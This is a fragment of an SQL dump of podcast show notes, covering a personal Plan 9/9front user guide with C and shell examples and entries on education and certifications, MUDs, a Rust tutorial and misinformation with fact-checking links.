prefix/extensions are also shared by the various linkers and assemblers.</p>\n<pre><code>0c spim little-endian MIPS 3000 family\n\n1c 68000 Motorola MC68000\n\n2c 68020 Motorola MC68020\n\n5c arm little-endian ARM\n\n6c amd64 AMD64 and compatibles (e.g., Intel EM64T)\n\n7c arm64 ARM64 (ARMv8)\n\n8c 386 Intel i386, i486, Pentium, etc.\n\nkc sparc Sun SPARC\n\nvc mips big-endian MIPS 3000 family\n</code></pre>\n<h2 id=\"filesystems\">Filesystems</h2>\n<p>Multiple filesystems are supported, most suck. The only one the average tourist has heard of is FAT. The one I use is <code>cwfs64x(4)</code>. cwfs is a strange filesystem. Every night, it makes a dump of the filesystem. You can access these dumps by running:</p>\n<pre class=\"sh\"><code>9fs dump\ncd /n/dump/YYYY/MMDD/\n</code></pre>\n<p>And, managing the file server (trying to uncorrupt cwfs), all while the kernel is spraying error messages</p>\n<pre><code>term% con -C /srv/cwfs.cmd\nhelp\ncheck tag\ncheck ream\ncheck free\ncheck\n</code></pre>\n<p>After my system crashes, and after consulting <code>fs(8)</code>, the above commands seem to solve my corruption problems. Not always. But sometimes.</p>\n<p>The cache is a WORM: Write Once Read Many filesystem. Traditionally, the \"fast\" hard drives would be backed up to tape archives. In the modern era, we have a WORM partition. The worm partition stores data forever so it will eventually get full and need cleaning. It is possible to run without a WORM but it\'s a bad idea. Built in version control.</p>\n<p>Data integrity not guaranteed.</p>\n<h2 id=\"secstore\">Secstore</h2>\n<p>stores various passwords to nvram. BIOS integrety not gauranteed. If you don\'t like thrashing the nvram and it\'s limited write ops, an partition can be created and mouted as if it were nvram.</p>\n<h2 id=\"factotum\">Factotum</h2>\n<p>stores various passwords in memory (like ssh-agent)</p>\n<h1 id=\"known-forks\">Known forks</h1>\n<ul>\n<li><p>Dead:</p>\n<ul>\n<li><a href=\"https://p9f.org/\">Plan 9 From Bell Labs (also called \'Labs 9\', the original)</a></li>\n<li><a href=\"https://web.archive.org/web/20201111224911/http://www.9atom.org/\">9atom (even the domain has expired)</a></li>\n<li><a href=\"http://akaros.org\">Akaros </a></li>\n<li><a href=\"https://harvey-os.org/\">Harvey (attempt to port 9 to GCC/Clang)</a></li>\n<li><a href=\"https://lsub.org/nix/\">NIX </a></li>\n<li><a href=\"http://jehanne.io/\">jehanneOS </a></li>\n<li><a href=\"https://github.com/jvburnes/node9\">node9 </a></li>\n<li><a href=\"https://www.vitanuova.com/inferno/\">inferno (in permanent limbo)</a></li>\n</ul></li>\n<li><p>Life Support:</p>\n<ul>\n<li><a href=\"https://9front.org\">9front (actively developed, many QOL patches)</a></li>\n<li><a href=\"http://www.9legacy.org/\">9legacy (patches applied to Labs9)</a></li>\n<li><a href=\"https://9fans.github.io/plan9port/\">Plan 9 From User Space (also called \'plan9port\', you will be laughed at)</a></li>\n</ul></li>\n</ul>\n<p><a href=\"https://9front.org\">9front</a> is really the only \'usable\' one because the QOL modifications add important things like general stability, git client, mercurial, ssh, various emulators, audio, WiFi, and USB support.</p>\n<h1 id=\"using-9\">Using 9</h1>\n<p>What does the 9 experience actually look like in 2022? You put 9 in a VM, posted a screenshot, shutdown the VM, then continued using Ubuntu because you can\'t play video games or easily watch videos online in 9.</p>\n<p>Hardware support in 9front is expanding but still limited. <a href=\"http://plan9.stanleylieber.com/hardware/\">Refer to the list of supported hardware.</a> I run 9front on a Thinkpad x220 and it seems to just work. Some people run it on a Raspi but I\'m not sure why. It works quite well with KVM and QEMU if you\'re an OS tourist. I see no reason to add a dmesg because it will either work or it won\'t.</p>\n<h1 id=\"available-software\">Available software</h1>\n<p>GNU might not be UNIX but 9 isn\'t even trying to be UNIX-like.</p>\n<h2 id=\"gui\">GUI</h2>\n<p>Unlink UNIX, 9 was designed with graphics in mind. Some people have said that the 9 GUI looks similar to a smalltalk machine but I think it\'s just the only good stacking window manager. A three button mouse is necessary for using 9front. Shift-rightclick emulates middle click.</p>\n<h3 id=\"rio\">Rio</h3>\n<p>Rio is the Plan 9 windowing system. It\'s the successor to 8&#xBD; window manager. Rio is lightweight compared to X11 because access to graphical hardware is built into the kernel and using files+namespaces to access input devices.</p>\n<p>The most brief way of explaining rio is to think of it as a rectangle multiplexer, where each rectangle is served a file interface (9p). Although rectangles might seem counterintuitive at first, thinking less hard makes it easier to use. I still have difficulty efficiently using a mouse-centric interface after using terminal interfaces almost exclusively for many years. I dislike the windows way of using a mouse but the 9 way seems to make quite a lot of sense when I \"think less hard\" and allow the intuition to take control.</p>\n<p>The argument for mouse-centric computing and text editing is that it\'s faster. Of course, the average vim user is editing text faster than the speed of thought but most people aren\'t the average vim user. Instead, they only know how to use arrow keys to move a cursor. Without memorizing hundreds of vim bindings (and forgetting the names and birth dates of your family members in the process), obviously a mouse is faster.</p>\n<p>Mouse controls are confusing at first because they follow the \"click and hold, hover to option, release\" to select an option. They look something like follows:</p>\n<ul>\n<li>Right click (window management controls)\n<ul>\n<li>New</li>\n<li>Resize</li>\n<li>Move</li>\n<li>Delete</li>\n<li>Hide</li>\n</ul></li>\n<li>Middle click (text manipulation controls)\n<ul>\n<li>cut</li>\n<li>paste</li>\n<li>snarf (copy highlighted text)</li>\n<li>plumb (send highlighted text to process, or, more effectively: open file with appropriate program)</li>\n<li>look (search for highlighted text)</li>\n<li>send (run highlighted text as a shell command)</li>\n<li>scroll (toggle autoscroll/noautoscroll)\n<ul>\n<li>The left click button is used to select text and windows.</li>\n</ul></li>\n</ul></li>\n</ul>\n<p>The concept of mouse-chording is also prominent in rio but it\'s even more difficult to explain without a visual demonstration.</p>\n<p>Rio and it\'s windows also support UNIX style keyboard shortcuts:</p>\n<ul>\n<li>^-u deletes from cursor to start of line</li>\n<li>^-w deletes word before cursor</li>\n<li>^-h deletes the character before the cursor</li>\n<li>^-a moves the cursor to the start of the line</li>\n<li>^-e moves the cursor to the end of the line</li>\n<li>^-b moves the cursor back to the prompt</li>\n<li>^-f is the autocomplete key, functionally equivalent to tab completion</li>\n<li>^? (DEL key) is the equivalent to ^-c on UNIX</li>\n</ul>\n<p>Additionally, in a text window, the arrow keys and PgUp/PgDown keys behave as expected. The home/end keys scroll the window to the top/bottom of the text buffer respectively.</p>\n<p>These text windows have a built in pager so there is no <code>more</code> or <code>less</code> command. I can\'t decide if I like built in paging but it\'s definitely a thing to think about.</p>\n<p>The colorscheme of rio is dull and pastel and this is intentional. Less vibrant color schemes seem to fade away and become less obvious. Color themes like Tango, Linux Console, Solarized, all of KDE, and WIndows XP are very obvious but not in a good way. Bright colors are subtly distracting and make it difficult to concentrate. When I\'m configuring a UNIX system with dwm, I borrow Rio\'s color theme because it\'s an anti-theme. Give it time. It\'s charming in it\'s own way. Modifying the source code for rio allows for custom color themes. It\'s possible but you will be laughed at. Setting a wallpaper is also possible but I don\'t do this because my windows are always covering the dull gray background.</p>\n<p>As for X11, the equis X11 server can only be run via linux compat layers. The lack of a viable X server is yet another reason 9 has no programs.</p>\n<h2 id=\"command-line-utilities\">Command Line Utilities</h2>\n<p>The shell on 9 is called <code>rc(1)</code>. It\'s like any other shell you\'ve used except that you expect it to be bourne-like but it isn\'t. Standard UNIX shell concepts like pipes, file redirects, &amp;&amp; and ||, etc. Scripting is not POSIX-like at all so reading the man page and various scripts written in <code>rc</code> is the only way to learn.</p>\n<p>Other various UNIX utilities exist and function as expected (although some of the ones you would like are missing). <code>awk</code>, <code>grep</code>, <code>sed</code>, <code>cat</code>, <code>tar</code>, <code>gzip</code>, <code>ed</code>, etc are present.</p>\n<h2 id=\"editors\">Editors</h2>\n<p>There are three primary ways of editing text on 9: <code>ed(1)</code>, <code>sam(1)</code>, and <code>acme(1)</code>. There is no <code>vi</code> aside from the MIPS emulator, there is no <code>emacs</code> except for a man page explaining why there is no emacs.</p>\n<p>I have primarily used acme in the past, but sam is a much better editor.</p>\n<p><code>sam</code> is a lot like a graphical version of <code>ed</code>. I still need to learn <code>ed</code> because it\'s the standard editor. Some of the standard <code>vi</code> commands are available and regex works. I like sam quite a lot but it seems to corrupt files when the system crashes.</p>\n<p><code>acme</code> is a window manager, file browser, terminal emulator, and email client that some people use as a text editor. The coolest part about acme is the ability to write arbitrary editor and system commands in the menu bar, highlight them, then middle click to execute those commands.</p>\n<h2 id=\"some-of-the--supported-networking-protocols\">(Some of the ) Supported Networking Protocols</h2>\n<ul>\n<li>IMAP\n<ul>\n<li>good luck</li>\n</ul></li>\n<li>NTP</li>\n<li>IRC\n<ul>\n<li>ircrc</li>\n<li>other non-default implementations exist</li>\n</ul></li>\n<li>FTP</li>\n<li>HTTP\n<ul>\n<li><code>mothra</code> is the standard web browser. It does not support CSS or all of the HTML tags. Obviously, javascript is unsupported.</li>\n<li><code>abaco</code> exists. I\'ve used it a few times. It renders slightly better than mothra but is a pain to use.</li>\n<li>Various inferno vaporware exists but the ports don\'t work</li>\n<li>NetSurf has been ported to 9front by leveraging components of APE. It almost works</li>\n<li><code>hget</code>, like curl</li>\n</ul></li>\n<li>SSH\n<ul>\n<li>it only works in conjunction with the <code>vt(1)</code> command.</li>\n<li>sshfs</li>\n<li>sshnet for proxying traffic</li>\n</ul></li>\n<li>VNC</li>\n<li>Various torrent software (magnet links not supported)</li>\n<li>Drawterm\n<ul>\n<li>no, good luck, you will be laughed at</li>\n</ul></li>\n<li>Of course, 9p</li>\n</ul>\n<h3 id=\"a-security-aside\">A Security aside</h3>\n<p>Various server implementations for these protocols exist but you really shouldn\'t use them on the WAN as they are ancient, unmaintained, unaudited, and easy to exploit. Prime example: the /g/entoomen found a path traversal vulnerability in the 9front httpd server, then leveraged that vuln to exploit a vuln in the authentication system. Not that the boys back home did anything malicious with this bug . . . but the ability to pwn a system by sending cleverly crafted GET requests should tell you enough about the current state of security in 9.</p>\n<ul>\n<li>Firewall\n<ul>\n<li>no</li>\n</ul></li>\n<li>Disk Encryption\n<ul>\n<li>unreliable</li>\n</ul></li>\n<li>Access control\n<ul>\n<li>what?</li>\n</ul></li>\n<li>filesystem\n<ul>\n<li>cwfs has an poorly documented special user called <code>none</code> that is allowed to connect to fossil, cwfs, and maybe hjfs without a password. Set the <code>nonone</code> option in cwfs if you are even thinking about putting 9 on the internet.</li>\n</ul></li>\n</ul>\n<p>Don\'t even think about putting 9 on the internet</p>\n<h2 id=\"unix-compat-layer-ape\">UNIX compat layer (ape)</h2>\n<p>APE is the ANSI POSIX Emulator. It doesn\'t work and is almost entirely empty. Lots of tiny programs to write, not much interest in writing lots of tiny program. There is a general attitude among 9 users that \"9 is unique\" porting POSIX libs to 9 would ruin the appeal. I almost think I agree with this sentiment.</p>\n<h2 id=\"emulation\">Emulation</h2>\n<ul>\n<li>Linux\n<ul>\n<li>don\'t</li>\n</ul></li>\n<li>GameBoy</li>\n<li>GameBoyAdvance</li>\n<li>NES</li>\n<li>SNES</li>\n<li>Sega MegaDrive/Genesis</li>\n<li>c64</li>\n<li>vmx, a PC emulator (effectively virtualization)\n<ul>\n<li>It\'s slow</li>\n<li>it almost works</li>\n<li>it crashes your system</li>\n<li>cwfs gets corrupted</li>\n<li>\"runs\" OpenBSD, Linux, and ancient Windows with graphics support</li>\n</ul></li>\n<li>and also various emulators for obscure architectures</li>\n</ul>\n<h2 id=\"vcs\">VCS</h2>\n<ul>\n<li>Mercurial used to come with 9front but it has been removed.</li>\n<li>CVS does exist but not in the base system.</li>\n<li>A native git implementation exists and is in the base system. It\'s bare bones but it mostly works.</li>\n</ul>\n<h2 id=\"community-maintained-software\">Community Maintained Software</h2>\n<p><a href=\"https://contrib.9front.org\">The 9front community has been collecting known programs for some time</a> and <a href=\"https://wiki.9front.org/extra\">various other community software can be found in the wiki</a>. Both are served as a ports system, similar to a BSD style ports system. There are no binary packages. Makefiles are broken.</p>\n<h2 id=\"programming-languages\">Programming Languages</h2>\n<h3 id=\"mkfiles\">mkfiles</h3>\n<p>9 ships a program called <code>mk(1)</code>. Syntax (in the simplest ways) is identical to UNIX <code>make(1)</code>.</p>\n<h3 id=\"the-absurdities-of-9-c\">The Absurdities of 9 C</h3>\n<p>Plan 9 C is syntactically similar to ANSI C but it varies. The stdlibs on 9 are much simpler than the POSIX monster.</p>\n<pre class=\"c\"><code>/* POSIX C example */\n#include &lt;stdio.h&gt;\n\nint main(){\n printf(&quot;hello, world\\n&quot;);\n return 0;\n}\n</code></pre>\n<pre class=\"c\"><code>/* 9 C example */\n#include &lt;u.h&gt;\n#include &lt;libc.h&gt;\n\nvoid main(){\n print(&quot;hello, world\\n&quot;);\n exits(0);\n}\n</code></pre>\n<p><code>u.h</code> contains CPU specific instructions, <code>libc.h</code> contains all of the system calls, time functions, math functions, unicode functions, and print functions. In contrast to POSIX, functions in 9c return strings instead of ints.</p>\n<pre class=\"sh\"><code># Compiling on UNIX\n$ cc main.c\n$ ./a.out\nhello, world\n$\n</code></pre>\n<pre class=\"sh\"><code># Compiling on 9\n% 6c main.c\n% 6l main.6\n% 6.out\nhello, world\n%\n</code></pre>\n<p>In the 9 compiler example, I\'m using the amd64 compiler and linker. Notice how the <code>6</code> persists as the prefix/suffix to help developers remember which architecture this specific program is written for. Instead of unspecific object files with a <code>.o</code> suffix, the object file\'s suffix is actually representative of what types of opcodes the file contains. Similarly, after linking, the <code>6.</code> prefix tells us that the binary is for an amd64 processor.</p>\n<p>And also, the simplest UNIX program with buffers: read from stdin and write directly to stdout:</p>\n<pre class=\"c\"><code>/* POSIX C */\n#include &lt;stdio.h&gt;\n\nint main(int argc, char *argv[]){\n char buf[32];\n size_t bufs = sizeof(char)*32;\n size_t nread = 0;\n\n while((nread = fread(buf, 1, bufs, stdin)) &gt; 0){\n fwrite(buf, 1, nread, stdout);\n }\n\n return 0;\n}\n</code></pre>\n<pre class=\"c\"><code>/* Plan 9 C */\n#include &lt;u.h&gt;\n#include &lt;libc.h&gt;\n\nvoid main(int argc, char *argv[]){\n char buf[32];\n char bufs = sizeof(char)*32;\n int nread = 0;\n\n while((nread = read(0, buf, bufs)) &gt; 0){\n write(1, buf, nread);\n }\n\n exits(0);\n}\n</code></pre>\n<p>In 9, <code>stdin</code> is file descriptor <code>0</code>, <code>stdout</code> is <code>1</code>, and <code>stderr</code> is <code>2</code>.</p>\n<p>And, the binary sizes betwen the two. You probably recognize <code>a.out</code>, this one was compiled with GCC. <code>6.out</code> is an amd64 Plan 9 binary compiled on 9.</p>\n<pre class=\"sh\"><code>$ ls -sh ./*.out\n4.0K ./6.out\n 28K ./a.out\n</code></pre>\n<p>Binaries on plan 9 are statically linked. It\'s somewhat strange to see that a statically linked binary is smaller than a dynamically linked one. Even compiling the plan 9 source on Linux using plan9port yeilds a large binary: 40K.</p>\n<p>I have not written 9C in a long time so I cannot say much more with confidence and authority. Refer to <a href=\"https://doc.cat-v.org/plan_9/programming/c_programming_in_plan_9\">C Programming in Plan 9 from Bell Labs</a> for more information.</p>\n<p>The <code>acid(1)</code> debugger exists but it\'s hard to use if you\'re not fluent in assembly.</p>\n<h3 id=\"ancient-go\">Ancient Go</h3>\n<p>Ancient Go once ran on 9. In 2022, you\'re better off just writing C and rc.</p>\n<h2 id=\"wifi\">WiFi</h2>\n<p>Some wifi cards are supported on 9front. My thinkpad x220 uses the iwl drivers. The FQA is somewhat vague when it comes to actually using the drivers. Good luck :)</p>\n<h1 id=\"why-isnt-9-more-popular-if-it-supposedly-improves-on-bad-unix-ideas\">Why isn\'t 9 more popular if it supposedly improves on \"bad Unix ideas\"?</h1>\n<ul>\n<li>Unix is \'just good enough\'</li>\n<li>9 is not \'better enough\' to beat out \'just good enough\'</li>\n<li>Porting software is difficult^impossible because 9 was deliberately written to be <em>not</em> backwards compatible.\n<ul>\n<li>\"If you port it, they will come\"</li>\n</ul></li>\n<li>9 is uncomfortable to use if you have Unix muscle memory</li>\n<li>no modern web browser</li>\n<li>no video games (I\'m pretty sure there are doom and quake source ports though)</li>\n<li>multimedia consumption is hard</li>\n<li>no GNU</li>\n</ul>\n<h1 id=\"why-do-people-use-9-if-its-so-bad\">Why do people use 9 if it\'s so bad?</h1>\n<p>I can\'t be sure about all other ~20 Plan 9 fans in the world, but for myself, it\'s purely out of a genuine curiosity and love for computing. My motivation for learning obscure, unnecessary, and quite frankly boring things related to computers is that it brings me some sense of satisfaction/accomplishment/enjoyment. Linux stopped being fun for me when I came to the realization that all distributions are fundamentally the same. I started exploring the BSD world only to realize that all UNIX-like operating systems are fundamentally the same. Although BSD remains a store of fun for me, I occasionally feel burned out on UNIX even if it\'s an abstract idea/experience/codebase I cherish.</p>\n<p>When I sit down at a computer my goal is always to discover something new, learn a new concept, explore alternative paradigms, and, most of all, to have fun in the process.</p>\n<p>For most people, 9 is a tourist experience. For me, it\'s the final frontier. Although I have yet to learn as much about 9 as I have about UNIX, every time I swap hard drives and boot into 9 I feel a sense of coming home. Sometimes I think I am wilfully resisting becoming a 9 expert because it will result in me struggling to find the next non-bad OS paradigm to explore.</p>\n<p>And when I think about \"using a computer\", what do I really do on the computer? I learn about it, learn about the software running on it, and proceed to write about it so that I can reinforce the ideas in a Feynman-esque way. I\'m not really providing a real tangible value to the world because it\'s purely a \"hey, here\'s the things I learned the hard way so you don\'t have to\".</p>\n<h1 id=\"conclusion\">Conclusion:</h1>\n<blockquote>\n<p>How do I do xyz on 9?</p>\n</blockquote>\n<p>don\'t. search engines won\'t help. Man pages won\'t help. /sys/doc might help. Reading the source code won\'t help. have fun :)</p>\n<p>Or consider:</p>\n<pre class=\"sh\"><code>term% vt -xb\nterm% ssh user@host\n$ tmux a\n$ reset\n# some commands\n$ reset\n# some commands\n$ reset\n</code></pre>\n<p>Alternatively:</p>\n<pre class=\"sh\"><code>term% vncv host:display\n</code></pre>\n<h1 id=\"further-reading\">Further reading:</h1>\n<ul>\n<li><a href=\"https://fqa.9front.org\">9front FQA</a>. Very humorous, good information</li>\n<li>read the papers in <code>/sys/doc</code> or <a href=\"https://doc.cat-v.org/plan_9/2nd_edition/papers/\">on cat-v.org</a></li>\n<li><a href=\"https://youtu.be/6m3GuoaxRNM\">Plan 9: Not dead, Just resting</a></li>\n<li><a href=\"https://youtu.be/Dt3Dr3jUPjo\">A visual demonstration of rio</a></li>\n<li><a href=\"https://youtu.be/dP1xVpMPn8M\">A visual demonstration of acme</a></li>\n<li><a href=\"https://doc.cat-v.org/plan_9/programming/c_programming_in_plan_9\">C Programming in Plan 9 from Bell Labs</a></li>\n<li><a href=\"https://pspodcasting.net/dan/blog/2019/plan9_desktop.html#conclusion\">Plan 9 Desktop Guide</a>. Might be useful for someone. Not too useful for me. Man pages are better.</li>\n<li><a href=\"https://www.youtube.com/user/C04tl3\">C04tl3 youtube channel</a>. Lots of cool videos with information.</li>\n<li><a href=\"https://archive.org/details/plan9designintro\">Introduction to Operating System Abstractions using Plan 9 from Bell Labs </a></li>\n<li><a href=\"https://sdf.org/plan9/\">SDF public Plan 9 server</a></li>\n</ul>\n',406,0,1,'CC-BY-SA','UNIX, Plan 9',0,0,1),
(3688,'2022-09-21','Education, Certifications, and sipping on the Socials',1820,'I discuss the value of an Education, certifications, and a positive Social Media presence.','<p>I have had a lot of questions over the years about how to proceed with a career, education, and certifications. So, I give my take on these and what they mean relative to my life experiences. Individual mileage may vary. I also discuss the need to have a public facing social media presence that is active and consistent. Hide the private Socials and search to see what actually shows up when searching for yourself. Your future employers will. Just sayin\'.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,socialmedia,education,certifications',0,0,1),
(3674,'2022-09-01','Emergency Show posted in 2012. MUD',1241,'In today\'s show klaatu drags us through the mud with his somewhat belated descovery.','<p>\n<strong>MUD</strong><br />\n<em>From Wikipedia, the free encyclopedia</em><br />\nA MUD ( originally Multi-User Dungeon, with later variants Multi-User Dimension and Multi-User Domain), is a multiplayer real-time virtual world, usually text-based. MUDs combine elements of role-playing games, hack and slash, player versus player, interactive fiction, and online chat. Players can read or view descriptions of rooms, objects, other players, non-player characters, and actions performed in the virtual world. Players typically interact with each other and the world by typing commands that resemble a natural language.<br />\n<a href=\"https://en.wikipedia.org/wiki/Multi-User_Dungeon\">https://en.wikipedia.org/wiki/Multi-User_Dungeon</a>\n</p>\n\n<p>\nTinTin++, aka tt++, is a free MUD client for Mac OS X, Linux, and Windows. The Windows port named WinTin++ (using the PuTTY derived mintty terminal) is available for those who do not use Cygwin (A Linux/Unix emulator for Windows) and runs on Windows Xp, Windows Vista, and Windows 7. Besides MUDs, TinTin++ also works well with MUSH, Rogue, BBS, and Linux servers.<br />\n<a href=\"http://tintin.sourceforge.net/\">http://tintin.sourceforge.net/</a>\n</p>\n\n<p>\n<strong>Ancient Anguish</strong><br />\n<em>From Wikipedia, the free encyclopedia</em><br />\nAncient Anguish, abbreviated AA, is a fantasy-themed MUD, a text-based online role-playing game. Founded in 1991 by Balz \"Zor\" Meierhans and Olivier \"Drake\" Maquelin, it opened to the public on February 2, 1992. It is free to play, but has been supported by player donations since 1994.<br />\n<a href=\"https://en.wikipedia.org/wiki/Ancient_Anguish\">https://en.wikipedia.org/wiki/Ancient_Anguish</a>\n</p>\n',78,0,0,'CC-BY-SA','RPG,MUD,TinTin++,WinTin++',0,0,1),
(3681,'2022-09-12','Rust 101 Episode 3: Functionally Insane',2481,'In this episode BlacKernel teaches you how to make functions and for loops in rust','<p>In this episode BlacKernel is back! (Although a lot more loopy than I remember being while recording)</p>\n<p>And teaching you how to make functions, for loops, and match statements in Rust.</p>\n<p>Points covered in this episode:</p>\n<ul>\n<li>isize and usize number types in rust</li>\n<li>fn (function) declarations with arguments and return types</li>\n<li>match statements both bare and part of variable assignment</li>\n<li>for _ in 1..x loops. That is for loops over an iterator variable across a range of integers.<br />\n</li>\n</ul>\n<p>Email: izzyleibowitz@pm.me<br />\nMastodon: <a href=\"https://nixnet.social/BlacKernel\" class=\"uri\">https://nixnet.social/BlacKernel</a></p>\n',396,25,1,'CC-BY-SA','rust, for loop, for, match, functions, loops, usize, isize, programming, tutorial',0,0,1),
(3697,'2022-10-04','Mis-information, Dis-information, and Fake News. You are a product and target for all of it.',4297,'Brady and I discuss Mis-information, Dis-information, and Fake News.','<p>Brady and I discuss Mis-information, Dis-information, and Fake News. We discuss what it is, how it is used, and we are all a product and target for all of it. We discuss ways to avoid deception which leads to a philosophical discussion about truth, morals, and ethics. Brady takes a moment on the couch discussing how understanding the matrix for what it is can affect you on a personal level.</p>\n<h2 id=\"links-and-resources\">Links and Resources:</h2>\n<p>Definitely NOT real NEWS, but FUN to read:</p>\n<ul>\n<li><p>The Onion <a href=\"https://www.theonion.com/\" class=\"uri\">https://www.theonion.com/</a></p></li>\n<li><p>The Weekly World News <a href=\"https://weeklyworldnews.com/\" class=\"uri\">https://weeklyworldnews.com/</a></p></li>\n<li><p>Mad Magazine <a href=\"https://www.madmagazine.com/\" class=\"uri\">https://www.madmagazine.com/</a></p></li>\n</ul>\n<h2 id=\"fight-disinformation-with-fact-checking-sites\">Fight Disinformation with Fact Checking Sites:</h2>\n<ul>\n<li><p>Snopes<br />\n(almost everything including politics, history, science, and technology)<br />\nSnopes is one of the oldest fact-checking websites on the internet and it was started by David and Barbara Mikkelson in 1994. Apart from its huge repository of debunked stories, Snopes still tackles fake news and misinformation in a smart way. As fake information is getting more sophisticated in its language and tone, users are easily falling for it. So to counter the misinformation, Snopes offers detailed explanations from genuine sources (like WHO, CDC) and sets the facts straight.<br />\n<a href=\"https://www.snopes.com/\" class=\"uri\">https://www.snopes.com/</a></p></li>\n<li><p>Politifact<br />\n(all about fact-checking political claims)<br />\nPolitiFact is one of the largest political fact-checking newsrooms in the US and for its impressive work in 2008, the website was awarded Pulitzer Prize for National Reporting. It&#x2019;s run by the prestigious Poynter Institute (founder of International Fact-Checking Network) and reporters from the independent Tampa Bay Times.<br />\n<a href=\"https://www.politifact.com/\" class=\"uri\">https://www.politifact.com/</a></p></li>\n<li><p>FactCheck.org<br />\n(political claims, rhetorics, deception, and lies)<br />\nPrimarily deals with political claims and rhetorics. However, the website also tries to bring accountability to public officials by exposing deception and their lies. It&#x2019;s an attempt to bring more factual accuracy to the public discourse which is not just limited to politics, but also extends to TV ads, speeches, interviews, and news releases.<br />\n<a href=\"https://www.factcheck.org/fake-news/\" class=\"uri\">https://www.factcheck.org/fake-news/</a></p></li>\n<li><p>ProPublica<br />\n(deep dive for hidden truth)<br />\nProPublica is an independent investigative online newsroom. More than a fact-checking website, but a portal where you can dive deep and find the hidden truth. For its far-reaching work in the public interest, ProPublica has been awarded several Pulitzer Prizes for public service, explanatory reporting, national reporting, and investigative journalism. As for the coverage, it goes beyond politics and looks into healthcare, education, finances, criminal justice and more. The website is funded by the Knight Foundation, MacArthur Foundation, Ford Foundation, and other few philanthropic institutes.<br />\n<a href=\"https://www.propublica.org/\" class=\"uri\">https://www.propublica.org/</a></p></li>\n<li><p>OpenSecrets<br />\n(politics)<br />\nOpenSecrets finds the effects of money lobbying into electoral politics and fact-checks political speeches and claims. It tracks how a politician is being funded and who are the firms that are funneling money into politics. It was started by the Center for Responsive Politics (CSR) way back in 1983. And as a result of the long operation, OpenSecrets has now one of the largest public databases of donors and political beneficiaries.<br />\n<a href=\"https://www.opensecrets.org/\" class=\"uri\">https://www.opensecrets.org/</a></p></li>\n<li><p>Washington Post Fact Checker<br />\n(critical analysis to what politicians have said this week)<br />\nFact-checking column under diplomatic correspondent, Glenn Kessler. It does not fact-check every claim on politics and economy, instead the website offers critical analysis to what politicians have said this week. It tries to underline facts and context against a seemingly factful narrative.<br />\n<a href=\"https://www.washingtonpost.com/news/fact-checker/\" class=\"uri\">https://www.washingtonpost.com/news/fact-checker/</a></p></li>\n<li><p>Full Fact<br />\n(Fact-checking website focused on the UK and Europe)<br />\nA one-stop online portal where you can find information on a wide variety of topics. Full Fact is quick to debunk claims with well-resourced articles and by citing research papers by academics and professionals. So, no matter if it&#x2019;s a post about technology, medicine or some supernatural power, Full Fact sets the facts straight in a timely manner. It&#x2019;s a team of independent fact-checkers and campaigners who find a multitude of viral posts from social media and expose them to counter misleading people on the internet. Full Fact runs a &#x201C;Viral Posts on Facebook&#x201D; page where it lists out all the outrageous claims and debunks them with detailed explanation and authentic sources.<br />\n<a href=\"https://fullfact.org/\" class=\"uri\">https://fullfact.org/</a> and for most recent <a href=\"https://fullfact.org/latest/\" class=\"uri\">https://fullfact.org/latest/</a></p></li>\n<li><p>Alt News<br />\n(fake claims and political misinformation in India)<br />\nAlt News is also one of the few fact-checking websites in India which is certified by IFCN (International Fact-Checking Network). It&#x2019;s run by Pravda Media Foundation and offers its fact-checking service in both English and Hindi. As for funding, Alt News primarily relies on user donations and other independent media trusts. The website is also in partnership with WhatsApp for busting fake news on its chat platform. Apart from that, Alt News regularly debunks claims made on social media platforms covering science, education, and society at large.<br />\n<a href=\"https://www.altnews.in/\" class=\"uri\">https://www.altnews.in/</a></p></li>\n<li><p>BOOM FactCheck<br />\n(fact-checking website in India)<br />\nThis is a fact-checking website in India that exposes fake news on digital platformsIt. BOOM is a signatory of the IFCN Code of Principles and sticks to a high standard of fact-checking methodology. The website is run by Data journalist, Govindraj Ethiraj who earlier worked at Bloomberg. And like other fact-checking websites, Boom also relies on ads and user donations. Apart from this, Boom has a tie-up with WhatsApp to fight the war of misinformation. Boom offers its service in three languages i.e. English, Hindi, and Bengali. Further, it covers the current news cycle, political rhetorics, viral claims made on social media, urban legends, myths, and rumors.<br />\n<a href=\"https://www.boomlive.in/\" class=\"uri\">https://www.boomlive.in/</a></p></li>\n<li><p>SM Hoax Slayer<br />\n(fake information on social media platforms)<br />\nSM Hoax Slayer is quick to debunk the claim and update the users through its social media channels. According to the founder, the project started as a place to puncture harmless lies, pranks, and rumors, but soon it developed into a full-fledged fact-checking website. Many mainstream newspapers and media houses including Aaj Tak and Navbharat Times cite SM Hoax Slayer as a reliable source for busting fake news. Coming to funding, SM Hoax Slayer is mostly run by volunteers and funded by user donations and ads.<br />\n<a href=\"https://smhoaxslayer.com/\" class=\"uri\">https://smhoaxslayer.com/</a></p></li>\n<li><p>Reuters Fact Check<br />\n(international news fact checking)<br />\n<a href=\"https://www.reuters.com/fact-check\" class=\"uri\">https://www.reuters.com/fact-check</a><br />\n</p></li>\n</ul>\n<h2 id=\"picks-of-the-week\">Picks of the Week:</h2>\n<ul>\n<li><p>Brady\'s Picks</p>\n<ul>\n<li><p>Tobii Pro: Optimizing User Experience and Advertising Research with Eye Tracking<br />\n<a href=\"https://youtu.be/ConsSlIf6n4\" class=\"uri\">https://youtu.be/ConsSlIf6n4</a></p></li>\n<li><p>Hotjar: Website Heatmaps &amp; Behavior Analytics Tools<br />\n<a href=\"https://www.hotjar.com/\" class=\"uri\">https://www.hotjar.com/</a></p></li>\n</ul></li>\n<li><p>Robert\'s Pick:</p>\n<ul>\n<li>House of the Dragon: The Game of Thrones prequel<br />\n<a href=\"https://www.hbo.com/house-of-the-dragon\" class=\"uri\">https://www.hbo.com/house-of-the-dragon</a></li>\n</ul></li>\n</ul>\n<h2 id=\"cool-shit\">Cool Shit:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,misinformation,disinformation,fakenews',0,0,1),
